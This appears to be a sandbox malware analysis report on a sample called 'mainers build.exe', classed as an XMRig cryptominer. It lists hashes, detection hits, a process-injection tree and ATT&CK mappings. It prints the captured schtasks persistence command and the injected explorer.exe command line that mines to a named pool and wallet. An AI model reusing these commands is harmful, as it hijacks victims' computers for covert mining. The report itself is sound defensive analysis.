xmrig | b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e | Triage

Resubmissions

26/06/2024, 00:09

240626-afk9qsvdlm 10

26/06/2024, 00:08

240626-afcmlavdkq 10

26/06/2024, 00:07

240626-aejdrasbpd 10

26/06/2024, 00:07

240626-aec7qssbnf 10

26/06/2024, 00:06

240626-ad5wcssbmg 10

26/06/2024, 00:06

240626-adxvravcml 10

26/06/2024, 00:04

240626-acvn1asaqh 10

26/06/2024, 00:04

240626-ackh2asape 10

26/06/2024, 00:03

240626-ab5sksvblp 10

Analysis

max time kernel
1785s
max time network
1795s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
26/06/2024, 00:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

mainers build.exe
Size

29.7MB
MD5

b93dd3965c81ec30c91ac4b16d56a7b5
SHA1

6061c84646ce64812a87753ecbd96681e29bfb2c
SHA256

b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
SHA512

cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e
SSDEEP

786432:dQm2AnqisnglHxrW4jZ+cjyDmBOuOtkQupv6RN:eaqi0iHxq4tjysOtBr

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

resource	yara_rule
behavioral5/memory/4908-27-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4908-26-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4908-33-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4908-34-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4908-32-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4908-30-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4908-31-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
1780	services64.exe
3984	sihost64.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3652 set thread context of 4908	3652	conhost.exe	87

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1020	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1836	conhost.exe
3652	conhost.exe
3652	conhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1836	conhost.exe
Token: SeDebugPrivilege	3652	conhost.exe
Token: SeLockMemoryPrivilege	4908	explorer.exe
Token: SeLockMemoryPrivilege	4908	explorer.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 1836	1692	mainers build.exe	77
PID 1692 wrote to memory of 1836	1692	mainers build.exe	77
PID 1692 wrote to memory of 1836	1692	mainers build.exe	77
PID 1836 wrote to memory of 3588	1836	conhost.exe	79
PID 1836 wrote to memory of 3588	1836	conhost.exe	79
PID 3588 wrote to memory of 1020	3588	cmd.exe	81
PID 3588 wrote to memory of 1020	3588	cmd.exe	81
PID 1836 wrote to memory of 3956	1836	conhost.exe	82
PID 1836 wrote to memory of 3956	1836	conhost.exe	82
PID 3956 wrote to memory of 1780	3956	cmd.exe	84
PID 3956 wrote to memory of 1780	3956	cmd.exe	84
PID 1780 wrote to memory of 3652	1780	services64.exe	85
PID 1780 wrote to memory of 3652	1780	services64.exe	85
PID 1780 wrote to memory of 3652	1780	services64.exe	85
PID 3652 wrote to memory of 3984	3652	conhost.exe	86
PID 3652 wrote to memory of 3984	3652	conhost.exe	86
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3652 wrote to memory of 4908	3652	conhost.exe	87
PID 3984 wrote to memory of 2072	3984	sihost64.exe	88
PID 3984 wrote to memory of 2072	3984	sihost64.exe	88
PID 3984 wrote to memory of 2072	3984	sihost64.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\mainers build.exe
"C:\Users\Admin\AppData\Local\Temp\mainers build.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mainers build.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1020
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      C:\Users\Admin\AppData\Roaming\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1780
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3652
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3984
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:2072
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=49uDLq2aoTjRxqrxdYYZG8A3ZGcLbH2E3BdwpD5UASiEhBnSZ7ERBhqJ768MaBCEGb2tQRCy4m37PEzTjW1MjNF3GEecTzC --pass= --cpu-max-threads-hint=40 --cinit-idle-wait=2 --cinit-idle-cpu=80 --tls
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scheduled Task

Persistence

Scheduled Task/Job

Scheduled Task

Privilege Escalation

Scheduled Task/Job

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
77c55532f6106f9f01c86aac8ad7d486

SHA1
6083606a4db53d5b82f62441b749be6c7812d15a

SHA256
ffc096d92c2eaddfcfd323d54f3e1f6e916d05db3d0402ec28548cdf35ad6e8d

SHA512
dcb680b4205411eee8aadf3f9fbaf4aeea0e2a5216e4812abf96c9f71a19805088e5dd3adf784a66ad6ca0989279da405920e3c1e82b9fb4d12dae1762ebeb8e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
31KB

MD5
523b0b07998159ef63cae05147cda63a

SHA1
382de578dbff037b4331829c9347222e409e026e

SHA256
354628b91439e1bdb39992e6c24796312da01fd833e27466f1c2270bcb3acb1e

SHA512
091126ab76a059c2d3b5084112e4c85eb8250e045b6cfee0ea8b47d01b4222a43138e003b8b9504734960f175281b138db4bb44668eae35bfa7270d417a5a7db

Download Submit
C:\Users\Admin\AppData\Roaming\services64.exe

Filesize
29.7MB

MD5
b93dd3965c81ec30c91ac4b16d56a7b5

SHA1
6061c84646ce64812a87753ecbd96681e29bfb2c

SHA256
b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e

SHA512
cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e

Download Submit
memory/1836-5-0x000002836C2A0000-0x000002836C2AA000-memory.dmp

Filesize
40KB

Download
memory/1836-0-0x0000028366B40000-0x00000283688FE000-memory.dmp

Filesize
29.7MB

Download
memory/1836-6-0x00007FFD97EF0000-0x00007FFD989B2000-memory.dmp

Filesize
10.8MB

Download
memory/1836-7-0x00007FFD97EF0000-0x00007FFD989B2000-memory.dmp

Filesize
10.8MB

Download
memory/1836-11-0x00007FFD97EF0000-0x00007FFD989B2000-memory.dmp

Filesize
10.8MB

Download
memory/1836-3-0x000002836E8D0000-0x000002837068E000-memory.dmp

Filesize
29.7MB

Download
memory/1836-2-0x00007FFD97EF0000-0x00007FFD989B2000-memory.dmp

Filesize
10.8MB

Download
memory/1836-1-0x00007FFD97EF3000-0x00007FFD97EF5000-memory.dmp

Filesize
8KB

Download
memory/1836-4-0x000002836C270000-0x000002836C282000-memory.dmp

Filesize
72KB

Download
memory/2072-35-0x0000019978190000-0x0000019978196000-memory.dmp

Filesize
24KB

Download
memory/2072-36-0x0000019979D10000-0x0000019979D16000-memory.dmp

Filesize
24KB

Download
memory/4908-28-0x0000000001F90000-0x0000000001FB0000-memory.dmp

Filesize
128KB

Download
memory/4908-33-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4908-34-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4908-32-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4908-30-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4908-31-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4908-26-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4908-27-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download